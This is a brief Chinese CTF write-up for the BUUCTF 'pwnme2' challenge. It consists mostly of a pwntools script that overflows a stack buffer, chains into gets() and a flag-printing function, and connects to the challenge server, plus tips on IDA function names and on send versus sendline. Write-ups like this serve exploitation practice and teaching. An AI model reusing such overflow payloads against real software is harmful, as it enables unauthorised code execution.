这题还好,值得注意的是IDA里头函数栏里面的函数名字需要多注意其意思,说不定就
是提示的信息。
from pwn import *
p = remote('node4.buuoj.cn',25488)
elf=ELF('./pwnme2')
exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']
p.recvuntil('Please input:\n')
payload=b'a'*(0x6c+4)+p32(gets)+p32(0x080485cb)+p32(0x0804a060)
p.sendline(payload)
p.sendline("flag")
p.interactive()
有个比较离谱的是倒数第二行,如果用“p.send(“flag”)”那就会报错。
具体细节看这位师傅